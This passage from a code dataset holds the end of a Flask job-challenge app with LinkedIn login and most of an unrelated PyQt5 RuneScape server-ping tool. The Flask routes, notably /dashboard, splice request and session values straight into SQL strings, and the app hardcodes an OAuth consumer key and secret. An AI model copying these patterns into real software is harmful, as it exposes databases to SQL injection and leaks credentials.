usr_dict['firstName']\n self.lastName = usr_dict['lastName']\n\n def fetch_first_name(self):\n return self.firstName\n\ndef connect_db():\n return psycopg2.connect(os.environ.get('DATABASE_URL'))\n\n\n@app.before_request\ndef before_request():\n g.db_conn = connect_db()\n\n@app.context_processor\ndef override_url_for():\n return dict(url_for=dated_url_for)\n\ndef dated_url_for(endpoint, **values):\n if endpoint == 'static':\n filename = values.get('filename', None)\n if filename:\n file_path = os.path.join(app.root_path,\n endpoint, filename)\n values['q'] = int(os.stat(file_path).st_mtime)\n return url_for(endpoint, **values)\n\n#@app.route('/usr')\ndef get_usr(first_name):\n cur = g.db_conn.cursor()\n cur.execute(\"SELECT * FROM usr where first_name = '\" + first_name + \"'\")\n return render_template('welcome.html', users=cur.fetchall())\n\n\ndef match(usr_tags, chg_skills):\n chg_skills = chg_skills.split(',')\n for tags in usr_tags:\n ts = tags[0].split(',')\n for t in ts:\n for s in chg_skills:\n if t.lower() == s.lower():\n return True\n return False\n\n\nlinkedin = oauth.remote_app(\n 'linkedin',\n consumer_key='77u05yrx7rjl2w',\n consumer_secret='wqJjQS5WuExBqdqv',\n request_token_params={\n 'scope': 'r_basicprofile',\n 'state': 'RandomString',\n },\n base_url='https://api.linkedin.com/v1/',\n request_token_url=None,\n access_token_method='POST',\n access_token_url='https://www.linkedin.com/uas/oauth2/accessToken',\n authorize_url='https://www.linkedin.com/uas/oauth2/authorization',\n)\n\n@app.context_processor\ndef override_url_for():\n return dict(url_for=dated_url_for)\n\ndef dated_url_for(endpoint, **values):\n if endpoint == 'static':\n filename = values.get('filename', None)\n if filename:\n file_path = os.path.join(app.root_path,\n endpoint, filename)\n values['q'] = int(os.stat(file_path).st_mtime)\n return url_for(endpoint, **values)\n\n@app.route('/')\ndef index():\n logging.warning(session)\n if 'linkedin_token' in session:\n me = linkedin.get('people/~')\n session['name'] = usr(dict(me.data)).fetch_first_name()\n return render_template('index.html', usr_first_name=session['name'])\n else:\n return redirect(url_for('login'))\n\n\n@app.route('/login')\ndef login():\n return linkedin.authorize(callback=url_for('authorized', _external=True))\n\n\n@app.route('/logout')\ndef logout():\n session.pop('linkedin_token', None)\n session.clear()\n logging.warning(session)\n return redirect(url_for('login'))\n\n\n@app.route('/login/authorized')\ndef authorized():\n resp = linkedin.authorized_response()\n if resp is None:\n return 'Access denied: reason=%s error=%s' % (\n request.args['error_reason'],\n request.args['error_description']\n )\n session['linkedin_token'] = (resp['access_token'], '')\n me = linkedin.get('people/~')\n session['name'] = usr(dict(me.data)).fetch_first_name()\n logging.warning(session['name'])\n return render_template('index.html', usr_first_name=session['name'])\n\n\n@linkedin.tokengetter\ndef get_linkedin_oauth_token():\n return session.get('linkedin_token')\n\n\ndef change_linkedin_query(uri, headers, body):\n auth = headers.pop('Authorization')\n headers['x-li-format'] = 'json'\n if auth:\n auth = auth.replace('Bearer', '').strip()\n if '?' in uri:\n uri += '&oauth2_access_token=' + auth\n else:\n uri += '?oauth2_access_token=' + auth\n return uri, headers, body\n\nlinkedin.pre_request = change_linkedin_query\n\n@app.route('/profile')\ndef profile():\n logging.warning(session)\n if 'linkedin_token' in session:\n me = linkedin.get('people/~')\n session['name'] = usr(dict(me.data)).fetch_first_name()\n cur = g.db_conn.cursor()\n prf_sql = \"SELECT experience.title, experience.company, experience.duration, experience.description, experience.tags FROM experience,usr WHERE experience.usr_id=usr.id AND usr.first_name= '\" + session['name'] + \"'\"\n cur.execute(prf_sql)\n experiences=cur.fetchall()\n exps = []\n for i in range(len(experiences)):\n temp = []\n for j in range(4):\n temp.append(experiences[i][j])\n temp.append(experiences[i][4].split(','))\n exps.append(temp)\n return render_template('profile.html', experiences=exps, usr_first_name=session['name'])\n return redirect(url_for('login'))\n\n\n@app.route('/challenges')\ndef challenges():\n logging.warning(session)\n if 'linkedin_token' in session:\n me = linkedin.get('people/~')\n session['name'] = usr(dict(me.data)).fetch_first_name()\n cur = g.db_conn.cursor()\n sql = \"SELECT project.title, project.skill, project.description, companyprojectrel.start_time, companyprojectrel.expire_time, company.url, companyprojectrel.time_limit FROM project,companyprojectrel,company where project.id=companyprojectrel.project_id AND companyprojectrel.company_id=company.id\"\n cur.execute(sql)\n projects = cur.fetchall()\n sql = \"SELECT experience.tags FROM experience,usr WHERE experience.usr_id=usr.id AND usr.first_name= '\" + session['name'] + \"'\"\n cur.execute(sql)\n usr_tags = cur.fetchall()\n valid_projects = []\n for proj in projects:\n if match(usr_tags, proj[1]):\n valid_projects.append(proj)\n logging.warning(valid_projects)\n return render_template('challenges.html', challenges=valid_projects, usr_first_name=session['name'])\n return redirect(url_for('login'))\n\n@app.route('/challenge', methods=['GET', 'POST'])\ndef challenge():\n logging.warning(session)\n if 'linkedin_token' in session:\n\n if request.method == 'POST':\n if 'file' not in request.files:\n return render_template(\"index.html\")\n file = request.files['file']\n # if user does not select file, browser also\n # submit a empty part without filename\n if file.filename == '':\n return render_template(\"index.html\")\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n return render_template(\"index.html\")\n return render_template(\"index.html\")\n\n me = linkedin.get('people/~')\n session['name'] = usr(dict(me.data)).fetch_first_name()\n session['proj_id'] = 7\n cur = g.db_conn.cursor()\n sql = \"SELECT project.title, project.skill, project.description, companyprojectrel.start_time, companyprojectrel.expire_time, company.url, companyprojectrel.time_limit FROM project,companyprojectrel,company where project.id=companyprojectrel.project_id AND companyprojectrel.company_id=company.id AND project.id='\" + str(session['proj_id']) + \"'\"\n cur.execute(sql)\n projects = cur.fetchall()\n return render_template('challenge.html', challenge=projects[0], usr_first_name=session['name'])\n return redirect(url_for('login'))\n\n\n\n@app.route('/mychallenges')\ndef mychallenges():\n logging.warning(session)\n if 'linkedin_token' in session:\n me = linkedin.get('people/~')\n session['name'] = usr(dict(me.data)).fetch_first_name()\n cur = g.db_conn.cursor()\n\n sql = \"SELECT project.title, project.skill, project.description, companyprojectrel.start_time, companyprojectrel.expire_time, company.url, companyprojectrel.time_limit,usrprojectrel.score FROM project,companyprojectrel,company,usrprojectrel,usr where project.id=companyprojectrel.project_id AND companyprojectrel.company_id=company.id and usrprojectrel.usr_id =usr.id and usrprojectrel.project_id=project.id AND companyprojectrel.company_id=company.id AND usr.first_name='\" + str(session['name']) + \"'\"\n cur.execute(sql) \n projects = cur.fetchall()\n logging.warning(projects)\n return render_template('mychallenges.html', challenges=projects, usr_first_name=session['name'])\n return redirect(url_for('login'))\n\n####upload files######\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n@app.route('/upload', methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST':\n # check if the post request has the file part\n if 'file' not in request.files:\n return redirect(request.url)\n file = request.files['file']\n # if user does not select file, browser also\n # submit a empty part without filename\n if file.filename == '':\n return redirect(url_for('upload_file'))\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n return redirect(url_for('index'))\n return render_template(\"challenge.html\")\n\n\n@app.route('/dashboard',methods = ['GET'])\ndef dashboard():\n company_id = request.args.get('id')\n cur = g.db_conn.cursor()\n sql = \"SELECT company.name FROM company where company.id= '\" + company_id +\"'\"\n cur.execute(sql)\n name = cur.fetchall()\n sql = \"SELECT project.title, project.skill, project.description, companyprojectrel.start_time, companyprojectrel.expire_time, company.url FROM project,companyprojectrel,company where project.id=companyprojectrel.project_id AND companyprojectrel.company_id = company.id and company.id = '\" + company_id +\"'\"\n cur.execute(sql)\n projects = cur.fetchall()\n return render_template('dashboard.html', challenges=projects, company_name=name[0][0])\n\n\n@app.route('/createchallenge')\ndef create_challenge():\n return render_template('createchallenge.html')\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"nextpath/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"101608051","text":"from threading import Thread\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import QPixmap,QFont,QIcon,QPainter,QPen,QPalette,QColor,QPolygonF,QBrush,QPainterPath\nfrom PyQt5 import uic,QtCore\nimport sys\nimport qtawesome\nfrom datetime import datetime\nimport os\nimport requests\nfrom bs4 import BeautifulSoup as bs\nimport tinycss\nimport time\nfrom pprint import pprint\nimport json\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nimport numpy as np\nimport math\nimport re\nfrom matplotlib.colors import CSS4_COLORS as colors\nimport random\nimport logging\nfrom urllib.request import urlopen\nimport osrsclimethods as climethods\nimport argparse\nimport const\n\n#cssutils.log.setLevel(logging.CRITICAL)\n\ncolors = list(colors.values())\n\n\n\nif len(sys.argv) > 1:\n parser = argparse.ArgumentParser(description='OSRS Ping Checker CLI')\n parser.add_argument('-f','--free',default=False,action='store_true')\n parser.add_argument('-m','--members',default=False,action='store_true')\n parser.add_argument('-l','--limit',type=int,default=None,action='store')\n\n args = parser.parse_args()\n \n con = climethods.ThreadedConsoleHandler()\n con.daemon = True\n free = args.free\n members = args.members\n worldLimit = args.limit\n \n con.start()\n worlds = climethods.getWorlds(con)\n worlds = climethods.filterWorlds(worlds,free,members)\n con.progressTotal = len(tuple(worlds))\n con.startProgress(\"Retrieving server latency:\")\n def worldPinged(world, worldsPinged):\n con.progress = worldsPinged\n worlds = climethods.pingWorlds(worlds,worldPinged)\n worlds = sorted(worlds,key=lambda k:k[\"ping\"])\n while not con.done: #thread safe console output\n pass\n pingColors = {range(0,26):\"#00ff00\",range(26,51):\"#00a500\",range(51,101):\"#b2f733\",range(101,151):\"#ffe500\",range(151,200):\"#ff8800\"}\n print(\"\\r\")\n for enum,world in enumerate(worlds,0):\n if worldLimit != False and enum >= worldLimit:\n break\n key = [i for i in list(pingColors.keys()) if world[\"ping\"] in i]\n if len(key) == 0:\n pingColor = \"#e01616\"\n else:\n pingColor = pingColors[key[0]]\n print(f\"World {world['world']} ({world['country']}): {world['ping']} ping {'('+world['worldActivity']+')' if world['worldActivity'] != '' else ''}\")\n sys.exit()\n \n\napp = QApplication(sys.argv)\npix = QPixmap(os.path.join(\"images\",\"splash3.png\"))\nsplash = QSplashScreen(pix,QtCore.Qt.WindowStaysOnTopHint)\nsplash.show()\n\n\nwith open(\"config.json\",\"r\") as data:\n config = json.load(data)\n\n\nparser = tinycss.make_parser()\nsheet = parser.parse_stylesheet(requests.get(\"http://www.runescape.com/css/c/oldschool-101.css\").text)\n\nclass Canvas(FigureCanvas):\n def __init__(self,width=5,height=5,dpi=100):\n figure = Figure()\n self.axes = figure.add_subplot(111)\n FigureCanvas.__init__(self,figure)\n FigureCanvas.updateGeometry(self)\n\n def plot(self,data):\n x = np.array(data[\"x\"][\"data\"])\n y = np.array(data[\"y\"][\"data\"])\n newData = {}\n for x,y in list(zip(x,y)):\n if x in newData:\n newData[x].append(y)\n else:\n newData[x] = [y]\n for i in newData:\n newData[i] = sum(newData[i])/len(newData[i])\n\n x = []\n y = []\n for key in newData:\n x.append(key)\n y.append(newData[key])\n \n self.axes.bar(x,y)\n self.axes.set_xlabel(data[\"x\"][\"title\"])\n self.axes.set_ylabel(data[\"y\"][\"title\"])\n self.draw()\n\nclass Sorter(QFrame):\n def __init__(self,categories):\n super().__init__()\n layout = QHBoxLayout()\n layout.setContentsMargins(4,2,4,2)\n layout.setAlignment(QtCore.Qt.AlignLeft)\n self.setLayout(layout)\n self.setStyleSheet(\"margin-top:2.5px;\")\n for category in categories:\n categoryWidget = SortCategory(category)\n categoryWidget.setObjectName(category)\n self.layout().addWidget(categoryWidget)\n \n self.setStyleSheet(\"border-radius:5px;padding:.25px;border:1px solid #8E7246;\")\n \n\n\n\nclass ArrowBtn(QLabel):\n UP = 0\n DOWN = 1\n clickSignal = QtCore.pyqtSignal()\n releaseSignal = QtCore.pyqtSignal()\n def __init__(self,direction):\n super().__init__()\n self.direction = direction\n #self.setFlat(True)\n sizePolicy = QSizePolicy(QSizePolicy.Fixed,QSizePolicy.Fixed)\n self.setSizePolicy(sizePolicy)\n #self.setStyleSheet(\"background-color:green;border:1px solid green;max-width:12px;max-height:12px;min-width:12px;min-height:12px;border-radius:6px\")\n self.setStyleSheet(\"padding:0;margin:0;\")\n self.setFixedSize(16,16)\n \n def paintEvent(self,event):\n painter = QPainter()\n painter.begin(self)\n color = QtCore.Qt.white\n painter.setPen(QPen(QtCore.Qt.gray))\n poly = QPolygonF()\n \"\"\"\n if self.direction == self.UP:\n circleColor = QtCore.Qt.darkGreen\n poly.append(QtCore.QPoint(4+4,0+6))\n poly.append(QtCore.QPoint(8+4,4+6))\n poly.append(QtCore.QPoint(0+4,4+6))\n elif self.direction == self.DOWN:\n circleColor = QtCore.Qt.red\n poly.append(QtCore.QPoint(4+3,4+6))\n poly.append(QtCore.QPoint(8+3,0+6))\n poly.append(QtCore.QPoint(0+3,0+6))\n \"\"\"\n if self.direction == self.UP:\n circleColor = QtCore.Qt.darkGreen\n #if self.property(\"pressed\"):\n #circleColor = QColor(0x005600)\n poly.append(QtCore.QPoint(6+2,0+4))\n poly.append(QtCore.QPoint(12+2,6+4))\n poly.append(QtCore.QPoint(0+2,6+4))\n elif self.direction == self.DOWN:\n circleColor = QtCore.Qt.red\n #if self.property(\"pressed\"):\n #circleColor = QtCore.Qt.darkRed\n poly.append(QtCore.QPoint(6+1,6+5))\n poly.append(QtCore.QPoint(12+1,0+5))\n poly.append(QtCore.QPoint(0+1,0+5))\n\n if self.property(\"selected\"):\n circleColor = QColor(0x666666)\n \n brush = QBrush()\n brush.setStyle(QtCore.Qt.SolidPattern)\n radius = 8\n \n '''\n path = QPainterPath()\n painter.setPen(QPen(QColor(255,255,0)))\n brush.setColor(QColor(255,255,0))\n path.addRect(0,0,radius*2,radius*2)\n\n painter.fillPath(path,brush)\n '''\n \n path = QPainterPath()\n painter.setPen(QPen(circleColor))\n brush.setColor(circleColor)\n path.addEllipse(0,0,radius*2,radius*2)\n \n painter.fillPath(path,brush)\n\n \n brush.setColor(color)\n #painter.drawPolygon(poly)\n path = QPainterPath()\n path.addPolygon(poly)\n painter.fillPath(path,brush)\n\n \n painter.end()\n\n\n def deselect(self):\n self.setProperty(\"selected\",False)\n self.repaint()\n\n\n def mousePressEvent(self,event):\n self.clickSignal.emit()\n\n def mouseReleaseEvent(self,event):\n self.releaseSignal.emit()\n\n\nclass SortCategory(QFrame):\n pressedSignal = QtCore.pyqtSignal(int)\n def __init__(self,category):\n super().__init__()\n layout = QHBoxLayout()\n layout.setContentsMargins(1,1,1,1)\n self.setLayout(layout)\n sizePolicy = QSizePolicy(QSizePolicy.Fixed,QSizePolicy.Fixed)\n self.setSizePolicy(sizePolicy)\n #self.setStyleSheet(\"QFrame{border:1px solid red;}QFrame > *{}\")\n self.setStyleSheet(\"border:none;\")\n self.upArrow = ArrowBtn(ArrowBtn.UP)\n #self.upArrow.pressed.connect(lambda:self.click(self.upArrow))\n #self.upArrow.released.connect(lambda:self.unclick(self.upArrow))\n self.upArrow.clickSignal.connect(lambda:self.click(self.upArrow))\n self.upArrow.releaseSignal.connect(lambda:self.unclick(self.upArrow))\n #sizePolicy = QSizePolicy(QSizePolicy.Fixed,QSizePolicy.Fixed)\n #self.upArrow.setSizePolicy(sizePolicy)\n #self.upArrow.setFixedSize(12,12)\n \n \n self.downArrow = ArrowBtn(ArrowBtn.DOWN)\n #self.downArrow.pressed.connect(lambda:self.click(self.downArrow))\n #self.downArrow.released.connect(lambda:self.unclick(self.downArrow))\n self.downArrow.clickSignal.connect(lambda:self.click(self.downArrow))\n self.downArrow.releaseSignal.connect(lambda:self.unclick(self.downArrow))\n \n self.categoryLabel = QLabel(category)\n sizePolicy = QSizePolicy(QSizePolicy.Fixed,QSizePolicy.Fixed)\n self.categoryLabel.setSizePolicy(sizePolicy)\n self.categoryLabel.setStyleSheet(\"font-weight:bold;margin-bottom:5px;\")\n \n self.layout().addWidget(self.upArrow)\n self.layout().addWidget(self.downArrow)\n self.layout().addWidget(self.categoryLabel)\n #self.layout().addItem(QSpacerItem(0, 0, QSizePolicy.Expanding, QSizePolicy.Minimum))\n\n def click(self,widget): \n widget.setProperty(\"selected\",True)\n if widget.direction == widget.UP:\n self.downArrow.deselect()\n elif widget.direction == widget.DOWN:\n self.upArrow.deselect()\n self.pressedSignal.emit(self.direction)\n widget.setProperty(\"pressed\",True)\n widget.repaint()\n\n def unclick(self,widget):\n widget.setProperty(\"pressed\",False)\n widget.repaint()\n\n\n\nclass PopupGraph(QDialog):\n def __init__(self,graphData):\n super().__init__()\n self.graphData = graphData\n self.setWindowTitle(graphData[\"title\"])\n layout = QVBoxLayout()\n layout.setContentsMargins(0,0,0,0)\n sizePolicy = QSizePolicy(QSizePolicy.Preferred,QSizePolicy.Preferred)\n self.setSizePolicy(sizePolicy)\n self.setLayout(layout)\n self.canvas = Canvas(graphData)\n self.canvas.plot(graphData)\n self.layout().addWidget(self.canvas)\n \n self.exec()\n\n\nclass WorldFetcher(QtCore.QObject):\n worldSignal = QtCore.pyqtSignal(list)\n worldParsedSignal = QtCore.pyqtSignal(int)\n worldTotalSignal = QtCore.pyqtSignal(int)\n fetchingCompleteSignal = QtCore.pyqtSignal()\n pingTotalSignal = QtCore.pyqtSignal(int)\n worldPingedSignal = QtCore.pyqtSignal(int)\n pingDeltasSignal = QtCore.pyqtSignal(dict)\n worldListComplete = QtCore.pyqtSignal(list)\n \n def __init__(self):\n QtCore.QObject.__init__(self)\n\n\n @QtCore.pyqtSlot()\n def run(self):\n worlds = self.getWorlds()\n self.worldSignal.emit(worlds)\n\n\n def pingWorlds(self,worlds):\n #pprint(worlds)\n #self.fetchingCompleteSignal.emit()\n self.pingTotalSignal.emit(len(worlds))\n times = {\"title\":\"Latency by country\",\"x\":{\"title\":\"Country\",\"data\":[]},\"y\":{\"title\":\"Latency\",\"data\":[]}}\n def worldPinged(world,worldsPinged):\n self.worldPingedSignal.emit(worldsPinged)\n worlds = climethods.pingWorlds(worlds,worldPinged)\n for world in worlds:\n times[\"x\"][\"data\"].append(world[\"country\"])\n times[\"y\"][\"data\"].append(world[\"ping\"])\n self.fetchingCompleteSignal.emit()\n if config[\"debugGraphs\"]:\n self.pingDeltasSignal.emit(times)\n self.worldListComplete.emit(worlds)\n \n \n def getWorlds(self):\n html = requests.get(\"http://oldschool.runescape.com/slu\").text\n soup = bs(html,\"html.parser\")\n\n worldWrapper = soup.find_all(attrs={\"class\":\"server-list__body\"})[0]\n worlds = worldWrapper.findChildren(\"tr\")\n\n\n parsedWorlds = []\n totalWorlds = len(worlds)\n self.worldTotalSignal.emit(totalWorlds)\n for worldCount,world in enumerate(worlds,1):\n membersWorld = False\n classNames = world.get(\"class\")\n #for className in classNames:\n # flags = className.split(\"--\")[1:]\n # if len(flags) != 0:\n # print(flags)\n # if \"members\" in flags:\n # membersWorld = True\n\n worldChildren = list(filter(lambda i: i != \"\\n\",list(world.children)))\n \n worldInfo = worldChildren[0]\n players = worldChildren[1].string\n if players == None:\n players = \"Full\"\n else:\n players = players.split()[0]\n country = worldChildren[2].string\n className = worldChildren[2][\"class\"][-1]\n worldType = worldChildren[3].string\n worldActivity = worldChildren[4].string\n\n if worldActivity == \"-\":\n worldActivity = \"\"\n\n worldNumber = int(worldInfo.find(\"a\")[\"id\"].split(\"-\")[-1])\n if worldNumber-300 != int(worldInfo.find(\"a\").string.split()[-1]):\n print(\"Error:\",worldNumber,\"(-300)\",\"!=\",worldInfo.find(\"a\").string.split()[-1])\n\n \n parsedWorlds.append({\"cssClass\":className,\"world\":worldNumber,\"players\":players,\"country\":country,\"worldType\":worldType,\"worldActivity\":worldActivity})\n self.worldParsedSignal.emit(worldCount)\n time.sleep(0.005)\n return parsedWorlds\n\n\ndef saveConfig():\n with open(\"config.json\",\"w\") as data:\n json.dump(config,data)\n\ndef getServerPing(world):\n url = f\"oldschool{world}.runescape.com\"\n ping = Ping(url)\n if ping == None:\n return None\n print(\"Error:\",url,\"returned none\")\n return ping*1000\n\n\ndef addStyle(obj,style):\n obj.setStyleSheet(obj.styleSheet()+makeCSS(style))\n\n\ndef updateStyle(obj):\n obj.style().unpolish(obj)\n obj.style().polish(obj)\n obj.update()\n\ndef makeCSS(css):\n cssString = \"\"\n for key in css.keys():\n value = css[key]\n if value[-1] != \";\":\n value+=\";\"\n cssString+=key+\":\"+value\n return cssString\n\n\ndef countryImages(worlds):\n '''\n countries = set([i[\"country\"] for i in worlds])\n colorDict = {}\n for country in countries:\n random.shuffle(colors)\n colorDict[country] = colors.pop()\n return colorDict\n '''\n \n countryClasses = set([i[\"cssClass\"] for i in worlds])\n imageUrlDict = {}\n for countryClass in countryClasses:\n imageUrlDict[countryClass] = download(getImageURL(countryClass))[0]\n return imageUrlDict\n\n\ndef getImageURL(imgClass):\n imgClass = \".\"+imgClass\n rule = [rule for rule in sheet.rules if imgClass in rule.selector.as_css()][0]\n return re.search(\"(?<=\\().*?(?=\\))\",[declaration.value for declaration in rule.declarations if declaration.name==\"background-image\"][0].as_css()).group(0)[1:-1]\n \ndef download(url,name=None):\n if name != None:\n filename = name\n else:\n filename = url.split('/')[-1]\n filename = os.path.join(\"images\",filename)\n if os.path.isfile(filename) == False:\n img_file = open(filename, \"wb\")\n img_file.write(urlopen(url).read())\n img_file.close()\n absolute_path = os.path.dirname(os.path.abspath(filename))\n return filename, absolute_path\n else:\n absolute_path = os.path.dirname(os.path.abspath(filename))\n return filename, absolute_path\n\nclass QHLine(QFrame):\n def __init__(self):\n super().__init__()\n self.setFrameShape(QFrame.HLine)\n self.setFrameShadow(QFrame.Sunken)\n self.setStyleSheet(\"border:none;border-top:1px solid gray;\")\n\nclass Console(QFrame):\n worldPingList = QtCore.pyqtSignal(list)\n ERRORSTYLE = [{\"color\":\"red\"},{\"center\":True,\"timestamp\":True}]\n def __init__(self):\n super().__init__()\n\n self.images = None\n \n layout = QVBoxLayout()\n layout.setContentsMargins(0,0,0,0)\n layout.setAlignment(QtCore.Qt.AlignTop)\n sizePolicy = QSizePolicy(QSizePolicy.Preferred,QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(30)\n self.setSizePolicy(sizePolicy)\n self.setLayout(layout)\n\n layout = QVBoxLayout()\n layout.setContentsMargins(0,0,0,0)\n layout.setAlignment(QtCore.Qt.AlignTop)\n sizePolicy = QSizePolicy(QSizePolicy.Preferred,QSizePolicy.Fixed)\n self.pinnedText = QFrame()\n self.pinnedText.setSizePolicy(sizePolicy)\n self.pinnedText.setLayout(layout)\n\n layout = QVBoxLayout()\n layout.setContentsMargins(10,10,10,10)\n layout.setAlignment(QtCore.Qt.AlignTop)\n sizePolicy = QSizePolicy(QSizePolicy.Preferred,QSizePolicy.Preferred)\n self.normalText = QFrame()\n self.normalText.setSizePolicy(sizePolicy)\n self.normalText.setLayout(layout)\n\n\n layout = QVBoxLayout()\n layout.setContentsMargins(5,5,5,5)\n layout.setAlignment(QtCore.Qt.AlignTop)\n sizePolicy = QSizePolicy(QSizePolicy.Preferred,QSizePolicy.Fixed)\n self.errorText = QFrame()\n self.errorText.setSizePolicy(sizePolicy)\n self.errorText.setLayout(layout)\n \n\n self.frameDivider = QHLine()\n self.errorDivider = QHLine()\n self.frameDivider.hide()\n self.errorDivider.hide()\n\n #self.normalText.setStyleSheet(\"border:3px solid red;\")\n #self.pinnedText.setStyleSheet(\"border:3px solid red;\")\n\n self.normalText.setStyleSheet(\"border:none;font-size:13px;\")\n self.pinnedText.setStyleSheet(\"border;\")\n self.errorText.setStyleSheet(\"border:none;\")\n self.normalText.setObjectName(\"normalText\")\n self.pinnedText.setObjectName(\"pinnedText\")\n self.errorText.setObjectName(\"errorText\")\n \n self.pinnedText.hide()\n #self.frameDivider.hide()\n\n self.container = QFrame()\n self.container.setStyleSheet(\"border:none;\")\n layout = QVBoxLayout()\n layout.setContentsMargins(10,10,10,10)\n layout.setAlignment(QtCore.Qt.AlignTop)\n sizePolicy = QSizePolicy(QSizePolicy.Preferred,QSizePolicy.Preferred)\n self.container.setSizePolicy(sizePolicy)\n self.container.setLayout(layout)\n\n self.scrollContainer = QScrollArea()\n sizePolicy = QSizePolicy(QSizePolicy.Preferred,QSizePolicy.Expanding)\n self.scrollContainer.setSizePolicy(sizePolicy)\n self.scrollContainer.setWidget(self.normalText)\n self.scrollContainer.setWidgetResizable(True)\n self.scrollContainer.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) \n self.scrollContainer.setStyleSheet(\"\"\"\n\n QScrollBar:vertical {\n border: 1px solid darkgray;\n background: white;\n width: 15px;\n margin: 16px 0 16px 0;\n }\n QScrollBar::handle:vertical {\n background: lightgray;\n min-height: 20px;\n border-top:1px solid darkgray;\n border-bottom:1px solid gray;\n }\n QScrollBar::add-line:vertical {\n border: 1px solid darkgray;\n background: white;\n height: 15px;\n subcontrol-position: bottom;\n subcontrol-origin: margin;\n }\n\n QScrollBar::sub-line:vertical {\n border:1px solid darkgray;\n background: white;\n height: 15px;\n subcontrol-position: top;\n subcontrol-origin: margin;\n \n }\n QScrollBar::up-arrow:vertical {\n background: url(\"images/up-arrow.png\");\n \n }\n QScrollBar::down-arrow:vertical {\n background: url(\"images/down-arrow.png\");\n }\n\n QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical {\n background: none;\n }\n\n QScrollArea[worldList=true] {\n /*background:#362D1A;*/\n }\n \"\"\")\n \n \n self.container.layout().addWidget(self.frameDivider)\n self.container.layout().addWidget(self.pinnedText)\n self.container.layout().addWidget(self.scrollContainer)\n #self.container.layout().addWidget(self.normalText)\n self.container.layout().addWidget(self.errorDivider)\n self.container.layout().addWidget(self.errorText)\n\n self.layout().addWidget(self.container)\n\n\n\n self.worldFetchProgress = QProgressBar()\n self.worldFetchProgress.setMinimum(0)\n self.worldFetchProgress.setMaximum(100)\n self.worldFetchProgress.hide()\n #self.animateProgressBar()\n self.worldFetchProgress.setStyleSheet(\"\"\"\n QProgressBar {\n color: white;\n font-size:11px;\n font-weight:bold;\n }\n QProgressBar:horizontal {\n border:none;\n border-radius:none;\n border-top:2px solid gray;\n text-align:center;\n }\n QProgressBar::chunk:horizontal {\n background-color: qlineargradient(x1: 0, y1: 0, x2: 1, y2: 0,\n stop: 0 #007000, stop: 1 #00dd00);\n border-radius:8px;\n border-top-left-radius:0;\n border-top-right-radius:0;\n border-bottom-right-radius:0;\n }\n QProgressBar::chunk:horizontal[done=true] {\n border-bottom-right-radius:8px;\n }\n \"\"\")\n \n \n self.worldFetchProgress.setValue(0)\n\n \n self.layout().addWidget(self.worldFetchProgress)\n \n self.setStyleSheet(\"\"\"\n background:transparent;\n border-radius:10px;\n border:2px solid gray;\n color:white;\n \"\"\")\n self.labels = []\n self.emitText(\"Welcome to OSRS Ping Checker v\"+const.VERSION,css={\"font-weight\":\"500\",\"color\":\"lightgray\"},flags={\"center\":True,\"perm\":True,\"title\":True})\n #self.emitText(\"foo\")\n #self.emitText(\"bar\")\n \n \n \n \n def completeWorldData(self,worlds):\n #pprint(worlds)\n #label = self.emitText(\"Worlds with Best Ping:\",css={\"text-decoration\":\"underline\",\"color\":\"gray\",\"font-weight\":\"bold\",\"font-size\":\"14\"},flags={\"center\":True,\"pin\":True})\n #index = self.pinnedText.layout().indexOf(label)+1\n categories = [\"foo\"]\n #self.sorter = Sorter(categories)\n #print(self.sorter.findChild(QFrame,\"foo\"))\n \n \n self.pinnedText.show()\n #self.pinnedText.layout().addWidget(self.sorter)\n #self.sorter = Sorter([\"foo\"])\n #self.normalText.layout().insertWidget(0,self.sorter)\n #self.labels.append(self.sorter)\n self.scrollContainer.setProperty(\"worldList\",True)\n updateStyle(self.scrollContainer)\n if self.images == None:\n self.images = countryImages(worlds)\n\n worlds = sorted(worlds,key=lambda k:k[\"ping\"])\n pingColors = {range(0,26):\"#00ff00\",range(26,51):\"#00a500\",range(51,101):\"#b2f733\",range(101,151):\"#ffe500\",range(151,200):\"#ff8800\"}\n \n for world in worlds:\n key = [i for i in list(pingColors.keys()) if world[\"ping\"] in i]\n if len(key) == 0:\n pingColor = \"#e01616\"\n else:\n pingColor = pingColors[key[0]]\n #print(world)\n #self.emitText(f' {world[\"country\"]}World {world[\"world\"]}: {math.floor(world[\"ping\"])} ping',flags={\"rich\":True})\n label = self.emitText(f'''\n \n \n World {world[\"world\"]}: {world[\"ping\"]} ping\n \n \n \n {world[\"worldActivity\"]}\n \n ''',flags={\"rich\":True})\n label.setProperty(\"worldLabel\",True)\n \n \n\n def emitWorldLabel(self,labelData):\n worldLabelText = labelData\n\n def resetThreadedFetching(self):\n self.worldFetchProgress.setProperty(\"done\",False)\n updateStyle(self.worldFetchProgress)\n self.worldFetchProgress.setValue(0)\n self.worldFetchProgress.setFormat(\"%p%\")\n self.worldFetchProgress.hide()\n\n def updateProgress(self,progress):\n self.worldFetchProgress.setValue(progress)\n updateStyle(self.worldFetchProgress)\n if progress == self.worldFetchProgress.maximum():\n self.worldFetchProgress.setProperty(\"done\",True)\n updateStyle(self.worldFetchProgress)\n self.resetThreadedFetching()\n\n def setProgressTotal(self,total,title):\n self.worldFetchProgress.setMaximum(total)\n self.worldFetchProgress.setFormat(title)\n titleStr = re.sub(r\"%.|\\(([^)]+)\\)\",\"\",title)\n self.emitText(titleStr)\n self.worldFetchProgress.show()\n \n\n #test function\n def animateProgressBar(self):\n #have to store the animation or it will get garbage collected and wont execute\n '''\n self.animation = QtCore.QPropertyAnimation(self.worldFetchProgress,b\"value\")\n self.animation.setDuration(1000)\n 